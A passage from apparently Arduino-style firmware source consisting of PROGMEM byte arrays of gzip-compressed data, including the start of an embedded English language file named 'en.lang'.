0x1a, 0x58, 0xde, 0x05, 0x10, 0x40, 0x84, 0x20, 0xc0, 0x5c, 0x2a, 0xa4, 0xa3, 0x80, 0xa4, 0xfa, 0x57, 0x9b, 0x45, 0xbf, 0x3a, 0x28, 0xb0, 0x1a, 0xbb, 0x6b, 0xc8, 0x6c, 0x33, 0xf7, 0x3c, 0xbf, 0x54, 0x5f, 0xaa, 0xf9, 0xfb, 0xcb, 0xab, 0xed, 0xf4, 0x30, 0x93, 0x87, 0x64, 0xed, 0xb0, 0xe6, 0x06, 0x67, 0xbb, 0x0e, 0xcb, 0x25, 0x0d, 0x52, 0xc1, 0x55, 0x97, 0xf8, 0x2e, 0x90, 0xbe, 0x08, 0xa1, 0x13, 0x38, 0x67, 0xaf, 0xe5, 0x51, 0x38, 0x9e, 0x07, 0xf9, 0x0b, 0x0d, 0x81, 0x25, 0x2c, 0x9c, 0xb9, 0x8e, 0x14, 0x72, 0x0d, 0x6b, 0x03, 0x3e, 0xa0, 0x28, 0xd3, 0x25, 0xc2, 0x77, 0xe0, 0x6c, 0x74, 0x89, 0x70, 0x47, 0x3f, 0x14, 0x26, 0x9b, 0x26, 0x5b, 0x4e, 0x69, 0xe4, 0x27, 0x76, 0xc9, 0xea, 0x6b, 0x62, 0xa0, 0x23, 0x2d, 0x12, 0x2c, 0xf7, 0x76, 0xb0, 0xcf, 0x56, 0x94, 0xd8, 0x39, 0xc4, 0xc7, 0xa0, 0x51, 0xd6, 0x58, 0x4f, 0x33, 0x35, 0xc5, 0xaf, 0x1d, 0xd0, 0xfc, 0x20, 0x97, 0x3d, 0x8a, 0xfc, 0x41, 0xd9, 0xab, 0xb5, 0xed, 0xeb, 0x7b, 0x69, 0x56, 0x1b, 0x2b, 0x90, 0x98, 0x2b, 0x2b, 0xfb, 0xcf, 0xfa, 0x8d, 0x15, 0x74, 0xce, 0xfc, 0x99, 0x59, 0x33, 0xa4, 0x09, 0x80, 0x64, 0x3e, 0x46, 0x55, 0x08, 0x21, 0x0d, 0x49, 0xaa, 0x0d, 0x50, 0x4e, 0x18, 0xbf, 0x2b, 0x0c, 0xb1, 0x89, 0x1d, 0xe3, 0x32, 0x85, 0x78, 0xcb, 0x08, 0x08, 0xee, 0x8f, 0x75, 0x49, 0x80, 0xb8, 0xd0, 0xb7, 0x6a, 0x8d, 0x1e, 0xa0, 0x09, 0xae, 0xdb, 0x95, 0x43, 0xe8, 0x5d, 0xf0, 0x11, 0xd1, 0x3b, 0xe6, 0xec, 0x42, 0xd7, 0x6f, 0x9e, 0x1f, 0x1f, 0x1e, 0xfe, 0x8a, 0xa3, 0x1d, 0x71, 0xc0, 0xde, 0x62, 0x56, 0xd7, 0x19, 0xb1, 0x55, 0x42, 0xb3, 0xf0, 0xd1, 0x9c, 0xcf, 0x9c, 0x42, 0x63, 0x7a, 0x3d, 0x46, 0x94, 0x02, 0xe8, 0x03, 0xac, 0x3c, 0x01, 0x74, 0xb3, 0x4f, 0xca, 0x2a, 0x6c, 0xb4, 0x77, 0xff, 0x1e, 0x16, 0xb0, 0x72, 0x94, 0xa9, 0x15, 0xe5, 0x29, 0x02, 0x6b, 0xc5, 0xdd, 0x09, 0x12, 0xb3, 0x22, 0x36, 0x63, 0xb9, 0x86, 0x45, 0x54, 0x35, 0x93, 0x21, 0x6d, 0x80, 0x95, 0x19, 0x80, 0x21, 0x21, 0x4d, 0x70, 0xf1, 0xe0, 0xc7, 0xe8, 0x8f, 0x84, 0x9c, 0xd7, 0x99, 0xd7, 0xdb, 0x22, 0x40, 0x38, 0xac, 0xe6, 0x52, 0x94, 0xfb, 0x8f, 0xe2, 0xc0, 0xcc, 0x4e, 0x77, 0x2b, 0x14, 0x16, 0xb9, 0x69, 0x1d, 0x2c, 0xe9, 0x2e, 0xe0, 0x36, 0x84, 0xc6, 0xf9, 0x80, 0x4d, 0xb6, 0xe0, 0x5e, 0x39, 0xc9, 0x50, 0x96, 0xa4, 0xd3, 0x6a, 0x85, 0xb2, 0x73, 0x87, 0x82, 0xe0, 0xc3, 0x6f, 0xcf, 0x77, 0x95, 0x03, 0x01, 0x3d, 0xcb, 0x79, 0x89, 0x1d, 0xf2, 0xb9, 0xf5, 0x7d, 0x3e, 0xce, 0x56, 0x41, 0x5d, 0x74, 0xcc, 0xe0, 0xca, 0x66, 0x11, 0xf9, 0xe4, 0xe4, 0xbc, 0xae, 0x57, 0x7a, 0xb1, 0x80, 0xa1, 0x55, 0x34, 0x9a, 0xfb, 0x09, 0xf0, 0x19, 0xb4, 0x83, 0x9d, 0x44, 0x25, 0x6c, 0xbf, 0xfb, 0xdb, 0x38, 0x66, 0x5a, 0x53, 0x95, 0x26, 0x8b, 0x42, 0xa4, 0x61, 0xd1, 0x58, 0x4e, 0x97, 0x47, 0x6c, 0x99, 0xcb, 0x0f, 0x1f, 0x97, 0x2b, 0xe7, 0x70, 0xda, 0x37, 0x26, 0x43, 0x6a, 0xea, 0x38, 0xb2, 0x79, 0x76, 0x38, 0x30, 0xc7, 0x3e, 0xfb, 0xff, 0xc1, 0x58, 0xe6, 0x1e, 0x83, 0xe0, 0x98, 0x4a, 0x56, 0x92, 0x40, 0x63, 0x9d, 0x1e, 0x7d, 0x15, 0xb1, 0x96, 0x8e, 0xfb, 0x60, 0xea, 0x2c, 0x21, 0x13, 0x9e, 0xf2, 0xda, 0xdf, 0x12, 0xcc, 0x96, 0x9e, 0x34, 0x9a, 0x49, 0x18, 0x8a, 0xc8, 0x00, 0x00, 0xf6, 0x2c, 0x94, 0x44, 0xa0, 0x54, 0x62, 0x90, 0x73, 0x51, 0x94, 0x91, 0x43, 0x5d, 0x76, 0xc6, 0x70, 0x70, 0xd2, 0x0a, 0x3d, 0xfb, 0x23, 0x5c, 0x10, 0x27, 0x11, 0x50, 0x87, 0x85, 0x66, 0x37, 0x95, 0x46, 0x6d, 0x63, 0x6a, 0xb6, 0x53, 0x3a, 0x20, 0xac, 0xd0, 0xe4, 0xa3, 0x5a, 0x4f, 0xad, 0xa1, 0xcb, 0xa7, 0xd2, 0x25, 0x2d, 0x16, 0x6f, 0x79, 0xa5, 0x51, 0x22, 0x51, 0xa8, 0xf4, 0xc1, 0xb8, 0x6c, 0x5d, 0x73, 0x3c, 0x4b, 0x87, 0x22, 0x34, 0x31, 0x77, 0xbe, 0x0c, 0x2c, 0x33, 0xf4, 0x6b, 0x94, 0x06, 0x4d, 0x8b, 0x8a, 0xbc, 0x39, 0x3e, 0x38, 0x2c, 0x99, 0xaf, 0xc7, 0xc5, 0xcd, 0x08, 0x81, 0x31, 0x14, 0xff, 0x66, 0x4b, 0x3a, 0x32, 0x9f, 0xc2, 0xe1, 0x60, 0x4e, 0x8d, 0x06, 0x00, 0xbf, 0x41, 0x3e, 0x11, 0x47, 0xbb, 0x16, 0x10, 0xb9, 0xda, 0x53, 0xb9, 0x7b, 0x91, 0x1a, 0xdb, 0x53, 0x4b, 0xbc, 0x8d, 0xc7, 0xfb, 0xb4, 0x6a, 0x9c, 0x11, 0x1f, 0xc0, 0x0c, 0x9f, 0xe2, 0x12, 0x33, 0x6e, 0x77, 0xe1, 0x19, 0xac, 0x7c, 0x03, 0xfc, 0xee, 0xfd, 0x6a, 0x6d, 0xe8, 0x01, 0x01, 0xfd, 0x87, 0x29, 0xe6, 0xa1, 0x11, 0xa4, 0xee, 0x55, 0xd3, 0xfd, 0x28, 0x7a, 0x21, 0x78, 0x71, 0x34, 0xa2, 0x59, 0x3b, 0x86, 0x51, 0x46, 0xdf, 0x84, 0xc8, 0x94, 0xfd, 0x2a, 0x7f, 0xff, 0x09, 0xfb, 0xf4, 0xcf, 0xb0, 0x4f, 0xff, 0x7c, 0xfb, 0x5e, 0x7e, 0xd6, 0xbe, 0x7b, 0xcd, 0x96, 0xc4, 0x1a, 0xb6, 0xd7, 0x06, 0x1c, 0x92, 0xea, 0x39, 0xc3, 0xd9, 0x94, 0x99, 0x12, 0xa4, 0x08, 0xfd, 0xd8, 0x11, 0xb7, 0xb6, 0x35, 0x42, 0x94, 0x03, 0x01, 0x1d, 0x07, 0xc5, 0x31, 0x51, 0x80, 0xff, 0xf9, 0x2e, 0x76, 0x4d, 0xd6, 0x2d, 0x3d, 0xa1, 0x5c, 0x85, 0xd8, 0x49, 0xf3, 0x52, 0x4a, 0x34, 0x3d, 0x1d, 0xc8, 0x1c, 0xc0, 0x81, 0x26, 0x59, 0xf8, 0x43, 0xfa, 0x3f, 0x27, 0x1e, 0xc5, 0x2d, 0x94, 0xae, 0x6c, 0x24, 0x59, 0xb8, 0x21, 0xb3, 0x3a, 0x45, 0x4b, 0xe8, 0x1d, 0xa7, 0x62, 0xa1, 0x14, 0x72, 0xb3, 0x01, 0x76, 0xc6, 0x48, 0xb1, 0x4b, 0xdf, 0x1e, 0x56, 0x53, 0xfa, 0xc7, 0x07, 0x3a, 0xb0, 0x62, 0xfe, 0x23, 0xaa, 0x2d, 0x3d, 0x33, 0x38, 0x67, 0x93, 0x21, 0x47, 0x4f, 0xc4, 0x93, 0x19, 0x4e, 0xff, 0x79, 0x87, 0xc1, 0xec, 0x78, 0x39, 0x2f, 0x78, 0x70, 0xd7, 0x7b, 0xd8, 0x14, 0xfa, 0x6e, 0xdb, 0xd6, 0x42, 0x55, 0xd6, 0x22, 0xec, 0x1e, 0x46, 0x7d, 0x12, 0xd2, 0xe1, 0x8a, 0xa0, 0x51, 0x9f, 0x56, 0x1a, 0x3a, 0xaf, 0xb9, 0x01, 0x3a, 0x90, 0x27, 0x8f, 0x7a, 0x60, 0x45, 0xf2, 0xca, 0xd3, 0x89, 0x12, 0x4e, 0x86, 0x2c, 0x63, 0x56, 0xfc, 0x15, 0xa9, 0xb0, 0xf7, 0xea, 0x70, 0x92, 0xe4, 0xcc, 0x20, 0x1f, 0x3f, 0x52, 0x66, 0x98, 0x07, 0xfc, 0x54, 0x06, 0x6b, 0x13, 0x3d, 0xc2, 0x0c, 0xcf, 0x65, 0xa4, 0x9f, 0xec, 0x21, 0xe1, 0x4f, 0x1e, 0x90, 0x7b, 0x56, 0xad, 0xc3, 0x84, 0xf0, 0x45, 0xdb, 0xe2, 0x7e, 0x32, 0x3c, 0xe1, 0x08, 0x81, 0xba, 0xad, 0x06, 0x11, 0x24, 0x77, 0x01, 0xaf, 0xe8, 0x18, 0xe9, 0x81, 0x12, 0xb6, 0x16, 0xe5, 0x3b, 0x92, 0x51, 0x68, 0x1f, 0x37, 0x97, 0xaa, 0xf0, 0x74, 0xf5, 0xbc, 0xb5, 0xcb, 0x65, 0x1a, 0xef, 0x99, 0x5f, 0x9d, 0xbf, 0x7e, 0x3d, 0x97, 0xc7, 0x4d, 0x7a, 0x22, 0x21, 0x26, 0x46, 0x68, 0xfe, 0x61, 0xba, 0xdb, 0xc9, 0xbb, 0xc0, 0xc8, 0xfc, 0x65, 0xef, 0xc5, 0x76, 0xea, 0xab, 0x9f, 0xbe, 0xfb, 0xed, 0x6f, 0x26, 0x91, 0xde, 0xe8, 0x1f, 0xab, 0x35, 0xed, 0x79, 0xab, 0x7f, 0x3c, 0x10, 0x72, 0x61, 0x98, 0xa7, 0xf4, 0x36, 0xf3, 0x96, 0xb8, 0xdb, 0x11, 0x53, 0xf1, 0x9a, 0xab, 0x5f, 0xab, 0xa3, 0xa3, 0x99, 0x3a, 0xfb, 0x9e, 0xbe, 0xbc, 0x98, 0xa9, 0xef, 0x74, 0xab, 0x3d, 0x7d, 0xff, 0xe5, 0x54, 0x7a, 0x75, 0x72, 0x25, 0x91, 0x5d, 0xdb, 0x88, 0x6c, 0x0f, 0xea, 0xed, 0xc9, 0xab, 0x7b, 0xa9, 0x3f, 0xa6, 0xbb, 0xd3, 0x3c, 0x95, 0x9b, 0x44, 0x3d, 0xcd, 0xed, 0xcb, 0xbe, 0xdd, 0x11, 0x95, 0x10, 0x2a, 0xb6, 0x83, 0x95, 0xd8, 0xca, 0x65, 0x62, 0xba, 0x80, 0xbd, 0xed, 0x43, 0x09, 0xc8, 0xcf, 0xea, 0x22, 0x1a, 0x3a, 0xa0, 0xeb, 0xbd, 0x93, 0xcc, 0xbb, 0xff, 0xee, 0x24, 0xa5, 0xaa, 0x1d, 0x4c, 0x9f, 0x6d, 0x39, 0xfa, 0xff, 0xef, 0x87, 0x19, 0x8a, 0xe8, 0xe3, 0x87, 0xa8, 0xd6, 0x9f, 0x7b, 0xa9, 0xe2, 0x1e, 0x38, 0x47, 0xc0, 0xf0, 0x02, 0x4d, 0xb5, 0x4b, 0xf3, 0x1b, 0x37, 0xa2, 0x82, 0xbd, 0x44, 0xb1, 0x3e, 0x81, 0x1d, 0x60, 0x29, 0x59, 0x9b, 0x04, 0xe8, 0x75, 0xc9, 0x0d, 0xca, 0xea, 0x2c, 0x6f, 0x64, 0xd3, 0x14, 0x6b, 0x1b, 0xeb, 0x4f, 0xb9, 0x37, 0x49, 0x23, 0xee, 0x80, 0x41, 0xdb, 0xb0, 0x81, 0x8f, 0xb7, 0x1c, 0x0f, 0xbe, 0xd7, 0x30, 0x7d, 0xd2, 0x0d, 0x88, 0xe3, 0xb4, 0x8f, 0xa2, 0x04, 0x80, 0xdd, 0xa2, 0x6b, 0x82, 0xc3, 0xfc, 0x1c, 0xd1, 0x6d, 0x11, 0xef, 0x94, 0x00, 0x8e, 0x9c, 0x8c, 0x7b, 0x15, 0x18, 0x7e, 0xba, 0x85, 0xbf, 0x67, 0xa3, 0x47, 0x00, 0x00, 0xde, 0xd2, 0xc4, 0x86, 0x59, 0xeb, 0x00, 0xcb, 0x42, 0x72, 0x71, 0xed, 0xf9, 0x61, 0x34, 0x03, 0x19, 0xdb, 0x36, 0x42, 0x40, 0x37, 0xa9, 0x9b, 0xcb, 0x10, 0x2b, 0xd3, 0x12, 0xd9, 0x93, 0x77, 0x35, 0xea, 0x30, 0x3a, 0x2a, 0x03, 0x9e, 0xde, 0x1a, 0x37, 0x5c, 0x59, 0x88, 0x8f, 0x96, 0xe7, 0x8a, 0xf1, 0x0b, 0x42, 0xd6, 0xb4, 0xa5, 0x93, 0xa8, 0x22, 0xd4, 0xa4, 0x73, 0x53, 0xa2, 0x1d, 0x3f, 0xa3, 0x93, 0xb1, 0x60, 0xbd, 0x16, 0xbc, 0x52, 0xab, 0xd0, 0xe5, 0x47, 0x22, 0xa2, 0xac, 0xc3, 0x4b, 0xf5, 0xe8, 0x89, 0xc2, 0x6e, 0xe5, 0x4b, 0x5b, 0xb9, 0x0f, 0xe9, 0xd8, 0x57, 0x55, 0x7d, 0x4b, 0x81, 0xf5, 0xd1, 0x9f, 0x90, 0x88, 0xdc, 0x51, 0x95, 0xe7, 0xfd, 0x87, 0xf8, 0x5c, 0x34, 0x99, 0xca, 0xba, 0x51, 0x61, 0x0c, 0x62, 0x9a, 0xe3, 0x3f, 0x2d, 0xf2, 0x0f, 0xeb, 0xb1, 0x91, 0x68, 0x2a, 0x1d, 0xc8, 0x95, 0x23, 0x34, 0xf4, 0x82, 0xd1, 0x70, 0x6e, 0x1e, 0x7f, 0xf5, 0xd5, 0x2e, 0x6a, 0x4b, 0x53, 0x8b, 0x92, 0x13, 0xe5, 0x3d, 0x72, 0xe4, 0xb6, 0xc7, 0xe3, 0xc6, 0xf0, 0x25, 0x20, 0xdd, 0x01, 0xc0, 0x32, 0xb2, 0xcb, 0xf6, 0xa5, 0xb7, 0xc1, 0x64, 0x22, 0x6e, 0x2c, 0x82, 0x0f, 0x1e, 0x50, 0xfb, 0xce, 0xe8, 0x24, 0x84, 0xf7, 0x7c, 0x60, 0xa6, 0x4d, 0xe0, 0xb3, 0x6d, 0xe9, 0x92, 0x88, 0x14, 0x22, 0x3d, 0x18, 0xc5, 0xdb, 0x73, 0x38, 0x48, 0x6e, 0x8d, 0x1d, 0x23, 0x7f, 0x4a, 0x41, 0x91, 0x1e, 0xaa, 0x0e, 0x77, 0xc2, 0x93, 0x5e, 0x1d, 0xdc, 0x5a, 0x7a, 0x25, 0xdb, 0xa7, 0x49, 0x9e, 0x4b, 0x47, 0x35, 0xa2, 0x75, 0xf3, 0x11, 0xd5, 0x99, 0xb1, 0x4d, 0x1c, 0xb1, 0x43, 0x31, 0x61, 0xb3, 0x10, 0xa3, 0xa5, 0x2d, 0x2d, 0x5d, 0x6a, 0xc9, 0xb0, 0x7d, 0x94, 0x82, 0xaa, 0xbf, 0x1d, 0xe1, 0xc4, 0xee, 0xc3, 0xd8, 0x43, 0xea, 0xcf, 0x47, 0x4f, 0xcb, 0xf3, 0x81, 0x05, 0x51, 0x68, 0x22, 0xc1, 0x61, 0xc4, 0xb6, 0xb7, 0x8c, 0xd0, 0x32, 0xf2, 0x3e, 0x57, 0x58, 0xc9, 0x35, 0x74, 0x90, 0x3b, 0x5b, 0x61, 0xe2, 0x52, 0xbb, 0x84, 0xed, 0xb9, 0x8c, 0x0a, 0x59, 0x92, 0xb7, 0xdc, 0xa3, 0xc3, 0x43, 0xd5, 0x24, 0xaa, 0x4f, 0x7e, 0xf4, 0xfa, 0x91, 0xe3, 0x0c, 0x1c, 0x99, 0xb2, 0x15, 0xa2, 0xa9, 0xa7, 0x28, 0xff, 0xbd, 0xf0, 0x7f, 0x33, 0xa5, 0x65, 0xc6, 0xed, 0x19, 0xfa, 0x7f, 0xb1, 0xd5, 0x0d, 0xe0, 0x67, 0xc5, 0x8f, 0x21, 0x43, 0xa3, 0x3a, 0xc3, 0x16, 0x30, 0xca, 0x2e, 0x9a, 0xc5, 0xa2, 0x74, 0x8c, 0x1c, 0xd5, 0x2c, 0x5e, 0x30, 0x62, 0xf2, 0x96, 0x5d, 0x9a, 0x44, 0xee, 0x01, 0x31, 0x43, 0xcf, 0x02, 0xd2, 0x9a, 0x3c, 0x00, 0x5c, 0xbb, 0x1e, 0x94, 0x97, 0xa1, 0xf7, 0x7f, 0x18, 0x17, 0x73, 0x28, 0xe7, 0x7f, 0xc2, 0x6a, 0x6e, 0x09, 0x53, 0x63, 0x73, 0x1c, 0xc8, 0xda, 0x49, 0xd7, 0x90, 0x51, 0x62, 0xdb, 0xd9, 0xf2, 0x15, 0xa7, 0x6d, 0xbb, 0x3d, 0xbc, 0x20, 0xef, 0x76, 0x2a, 0x34, 0x94, 0xc0, 0xd4, 0xc8, 0xce, 0x69, 0x32, 0xa5, 0xb1, 0x44, 0xfd, 0x60, 0xa3, 0xbc, 0x9b, 0x3a, 0xdb, 0x96, 0x7b, 0xe0, 0x27, 0xf9, 0x7f, 0xe6, 0x37, 0xf8, 0xd1, 0xeb, 0x51, 0x87, 0xf1, 0x48, 0xbf, 0x43, 0x28, 0x53, 0xde, 0x2f, 0x93, 0x10, 0x00, 0xa0, 0x08, 0x73, 0x1f, 0xf9, 0x63, 0xc5, 0x89, 0x20, 0xa0, 0x1a, 0x4c, 0x7a, 0xb2, 0xf7, 0xc5, 0x5f, 0xbf, 0xf8, 0x0f, 0x85, 0x45, 0x5c, 0x0a, 0xd0, 0x1e, 0x00, 0x00};\nconst char enlang[] PROGMEM = {0x1f, 0x8b, 0x08, 0x08, 0xb5, 0x3c, 0x14, 0x60, 0x02, 0xff, 0x65, 0x6e, 0x2e, 0x6c, 0x61, 0x6e, 0x67, 0x00, 0xb5, 0x59, 0x6d, 0x6f, 0x1b, 0xb9, 0x11, 0xfe, 0xdc, 0xfb, 0x15, 0x8c, 0xbf, 0x5c, 0x02, 0xc8, 0x3a, 0xdb, 0xe9, 0x1d, 0xd2, 0x03, 0xfa, 0xc1, 0x89, 0x9d, 0xab, 0xda, 0xc6, 0x31, 0x2c, 0x5f, 0xd3, 0x02, 0x01, 0x04, 0x6a, 0x97, 0x92, 0x78, 0xde, 0x25, 0x55, 0x92, 0x6b, 0x45, 0x2d, 0xfa, 0xdf, 0xfb, 0xcc, 0x0c, 0xb9, 0xda, 0x95, 0x9d, 0xf6, 0xbe, 0xdc, 0xe1, 0x00, 0xaf, 0xf8, 0x32, 0x1c, 0xce, 0xcb, 0x33, 0xcf, 0x30, 0xff, 0xfe, 0x46, 0xe1, 0xbf, 0x93, 0x46, 0xbb, 0xf5, 0xc9, 0x8f, 0xea, 0xc4, 0xb8, 0x93, 0x89, 0x8c, 0xec, 0x74, 0x70, 0x56, 0x06, 0x3f, 0x5d, 0xde, 0xdd, 0xcc, 0x6e, 0x7e, 0x2a, 0x33, 0xb5, 0x8d, 0x55, 0xa3, 0x6d, 0x6b, 0x02, 0x4d, 0xde, 0x6f, 0x6c, 0x54, 0xdb, 0xe0, 0x7f, 0x31, 0x55, 0x52, 0xf8, 0xd4, 0xf4, 0xc3, 0xaf, 0x14, 0xfe, 0xaf, 0xbc, 0xab, 0xcc, 0x36, 0xa9, 0x95, 0x0f, 0x2a, 0x99, 0x98, 0x20, 0x4e, 0x69, 0x57, 0x2b, 0x53, 0x77, 0x95, 0x4e, 0xd6, 0x3b, 0xdd, 0xa8, 0x6d, 0x17, 0xb6, 0x3e, 0x9a, 0x38, 0xfd, 0xec, 0x6e, 0x8c, 0x4d, 0x1b, 0x83, 0xa5, 0x1b, 0xa3, 0xae, 0xe7, 0xb7, 0x6f, 0x2e, 0x7e, 0xf8, 0x61, 0xa2, 0x1c, 0xf6, 0xda, 0x14, 0xd5, 0xfc, 0xea, 0x2f, 0x6a, 0xa7, 0xa3, 0x6a, 0x8d, 0x76, 0x49, 0x61, 0x70, 0xd9, 0xd9, 0xa6, 0x66, 0xd1, 0xb1, 0xab, 0x36, 0x07, 0x39, 0xea, 0x6d, 0xb7, 0x8e, 0xaa, 0xd2, 0x4e, 0xf9, 0xaa, 0xea, 0xc2, 0x8b, 0xcf, 0xee, 0xb3, 0xfb, 0x39, 0x1a, 0x08, 0x51, 0xde, 0x35, 0x7b, 0xa5, 0xd7, 0xda, 0xba, 0x98, 0xd4, 0xde, 0x77, 0x41, 0xf9, 0x9d, 0x53, 0xce, 0xa4, 0x9d, 0x0f, 0x0f, 0x91, 0x55, 0xab, 0xcd, 0xa3, 0xad, 0x4c, 0xe4, 0x5d, 0xb3, 0xa4, 0x3a, 0x48, 0x54, 0x8f, 0xba, 0xb1, 0xb5, 0xfa, 0x64, 0x4f, 0xdf, 0x5b, 0xb5, 0x0a, 0xba, 0xc5, 0x50, 0x6d, 0x62, 0x15, 0xec, 0xd2, 0xd4, 0xca, 0x3a, 0xd6, 0x77, 0x76, 0x7d, 0x7d, 0xad, 0xde, 0x9c, 0x5d, 0x4c, 0xcf, 0xcf, 0x55, 0x4c, 0x90, 0xa4, 0x43, 0x2d, 0x02, 0x3d, 0x96, 0x3b, 0x9f, 0xd4, 0xb2, 0xf1, 0xd5, 0x03, 0x29, 0x0e, 0xf3, 0x85, 0x0e, 0x56, 0xd1, 0x6e, 0x0f, 0x71, 0xe6, 0x9f, 0x9d, 0x71, 0x95, 0x65, 0x03, 0xdc, 0x36, 0x46, 0x43, 0xd3, 0x6a, 0x63, 0xb0, 0x92, 0xa4, 0x36, 0x66, 0x0d, 0x13, 0x05, 0xb3, 0xee, 0x1a, 0xb6, 0x57, 0xa4, 0xe3, 0x58, 0xf1, 0xca, 0x77, 0x2e, 0x85, 0xbd, 0x5a, 0x1a, 0x58, 0xc0, 0x40, 0x4f, 0xb2, 0xad, 0x4d, 0x53, 0xd2, 0x3b, 0x8b, 0xa9, 0xbd, 0xfb, 0x36, 0x61, 0xf3, 0x8a, 0x4c, 0xea, 0x21, 0x6f, 0xe0, 0x27, 0x18, 0xf2, 0xf3, 0xc9, 0x2f, 0xba, 0x85, 0x0f, 0x3f, 0x9f, 0x4c, 0x30, 0xa7, 0x13, 0xd6, 0x24, 0xdd, 0xc0, 0x40, 0x9d, 0xab, 0x4d, 0x68, 0xad, 0x83, 0xde, 0xa4, 0x43, 0x30, 0x07, 0x2f, 0x91, 0x53, 0x87, 0x72, 0x60, 0xa6, 0xd9, 0x8a, 0x14, 0xc2, 0x61, 0x93, 0xde, 0xc2, 0x98, 0x7c, 0xe4, 0xcd, 0x3a, 0xc9, 0x9c, 0xad, 0x49, 0x13, 0x96, 0xcb, 0xb6, 0xa1, 0xab, 0x43, 0x0c, 0x34, 0x86, 0xbc, 0x1d, 0x9f, 0x3d, 0x54, 0x8e, 0xd7, 0x44, 0x72, 0x2d, 0xd9, 0xa4, 0x5b, 0x36, 0x36, 0xf2, 0x62, 0x84, 0x53, 0x32, 0x70, 0xbe, 0x5e, 0xfa, 0x2e, 0x6f, 0xd9, 0x21, 0x62, 0xe8, 0x47, 0xf9, 0xcb, 0xc1, 0xb7, 0xc5, 0x85, 0xcd, 0x97, 0x2d, 0x42, 0x9a, 0x8d, 0xa6, 0xe2, 0xc6, 0xef, 0x06, 0xea, 0xb0, 0x8e, 0xb5, 0x27, 0x75, 0x39, 0x30, 0x71, 0xc7, 0xaa, 0xb1, 0xd5, 0x43, 0x9c, 0xa8, 0x15, 0x9c, 0x4b, 0x5e, 0xfb, 0x0e, 0xe3, 0xad, 0x77, 0x66, 0xcf, 0x2e, 0xdc, 0xe8, 0x47, 0x03, 0x17, 0xc2, 0x12, 0x71, 0x4b, 0xfa, 0xd1, 0x2e, 0x0b, 0x55, 0x9a, 0x06, 0xbf, 0x3a, 0xb2, 0x0e, 0x9f, 0x99, 0xf6, 0x13, 0x11, 0xe6, 0xdb, 0xb6, 0x73, 0x36, 0x91, 0x73, 0xa0, 0x77, 0x4d, 0x07, 0x91, 0x18, 0x9a, 0x5b, 0xd9, 0xf5, 0x46, 0x04, 0x68, 0xcc, 0xa6, 0x04, 0x4d, 0x3f, 0x59, 0x84, 0x55, 0x09, 0x19, 0xf6, 0xdf, 0x7b, 0x3e, 0x1d, 0x5e, 0xb5, 0x0e, 0x2b, 0x5b, 0xb9, 0xc4, 0xa3, 0x8d, 0x36, 0xfd, 0x88, 0x14, 0xfc, 0xdd, 0x20, 0xff, 0x4e, 0x97, 0x5d, 0x4a, 0xde, 0x51, 0x1a, 0xce, 0x44, 0x4d, 0x78, 0x4b, 0xe2, 0x2e, 0x5b, 0xdb, 0x7b, 0x39, 0x18, 0x11, 0x88, 0xb8, 0x26, 0xd3, 0x3d, 0x1a, 0x16, 0x12, 0x4c, 0xe3, 0x75, 0x4d, 0x3b, 0xef, 0xe4, 0x8b, 0x06, 0x23, 0xd2, 0x86, 0x86, 0xe6, 0xf4, 0x97, 0x07, 0xa2, 0xad, 0x23, 0x8f, 0xcc, 0x67, 0x57, 0x91, 0x87, 0x74, 0x4a, 0x1a, 0xc6, 0xa2, 0xc1, 0xcb, 0xfc, 0xc9, 0x2b, 0x71, 0x1b, 0x38, 0x49, 0x16, 0x97, 0x6f, 0x9a, 0xa0, 0x4b, 0xb0, 0x82, 0xf4, 0xb7, 0x0c, 0x2c, 0xe2, 0x56, 0x4e, 0x9a, 0xdd, 0xbc, 0xff, 0x88, 0x3f, 0x2c, 0xb8, 0x69, 0x58, 0x28, 0xfe, 0xd0, 0xcf, 0x6a, 0xa3, 0x9d, 0x33, 0x3c, 0xf4, 0x2e, 0x7f, 0xf2, 0xe5, 0x25, 0x41, 0xf9, 0x18, 0x5c, 0xb8, 0x56, 0x57, 0x79, 0x40, 0x94, 0x20, 0x97, 0x2c, 0xb2, 0xa4, 0x39, 0xff, 0x52, 0x45, 0x20, 0x72, 0x76, 0x34, 0x7d, 0x95, 0x7f, 0xf7, 0x0b, 0x82, 0x69, 0x61, 0x9d, 0x32, 0x7d, 0xc7, 0xbf, 0xfa, 0x49, 0x78, 0x88, 0xfc, 0xb0, 0x20, 0x13, 0x2d, 0x12, 0x8c, 0xcf, 0x27, 0xc8, 0xa0, 0x22, 0x7b, 0xa9, 0x7b, 0x1a, 0xa4, 0xa5, 0xce, 0xec, 0x68, 0xf2, 0x06, 0x7f, 0x78, 0x27, 0xd4, 0x2c, 0xea, 0xca, 0x45, 0x6b, 0xb6, 0xfb, 0x65, 0x5d, 0x97, 0x9f, 0x0b, 0xd1, 0xc4, 0xf0, 0xf8, 0xbb, 0x06, 0x91, 0xa7, 0xca, 0x88, 0xba, 0xbc, 0x95, 0xbb, 0x41, 0x99, 0xb0, 0x0b, 0x36, 0xb1, 0xac, 0x8f, 0xfd, 0x0f, 0x9a, 0x22, 0x75, 0x16, 0x14, 0x91, 0x01, 0x50, 0xc5, 0x98, 0x8c, 0x01, 0x35, 0x2b, 0x03, 0xac, 0x53, 0xd7, 0x2e, 0x05, 0xaf, 0x6f, 0xe4, 0x8b, 0xf7, 0xe9, 0xb0, 0x36, 0x89, 0x6d, 0x79, 0x9f, 0x3f, 0x4b, 0x14, 0x2c, 0x8a, 0xdb, 0x4e, 0xd5, 0x3b, 0x4a, 0x0e, 0xb9, 0x22, 0x05, 0xd6, 0x4e, 0x5b, 0xca, 0xe5, 0x64, 0x1b, 0x0e, 0xac, 0x65, 0xd3, 0x19, 0xf5, 0xd7, 0xeb, 0x2b, 0xa4, 0x95, 0x20, 0xd3, 0xd2, 0x13, 0xf4, 0xa5, 0x2e, 0x00, 0xad, 0xfc, 0x6a, 0xa5, 0x5e, 0x22, 0x9a, 0xc9, 0x97, 0x6b, 0x82, 0x04, 0xaf, 0xd6, 0xc1, 0x18, 0xf7, 0x8a, 0x33, 0xc5, 0x49, 0xde, 0xd1, 0x4e, 0x89, 0x41, 0x44, 0xff, 0xa9, 0xba, 0x87, 0xd0, 0x9d, 0x59, 0x72, 0x86, 0x85, 0x95, 0x46, 0xd0, 0xee, 0x6c, 0xd3, 0x20, 0x5b, 0x70, 0xa8, 0x7e, 0xd4, 0xb6, 0xd1, 0xcb, 0x06, 0xe0, 0xd6, 0x05, 0xae, 0x26, 0x2a, 0xfb, 0x45, 0xc5, 0xa2, 0x1f, 0xa5, 0x38, 0xef, 0xe0, 0x7c, 0x48, 0x94, 0xb6, 0x00, 0x0e, 0x27, 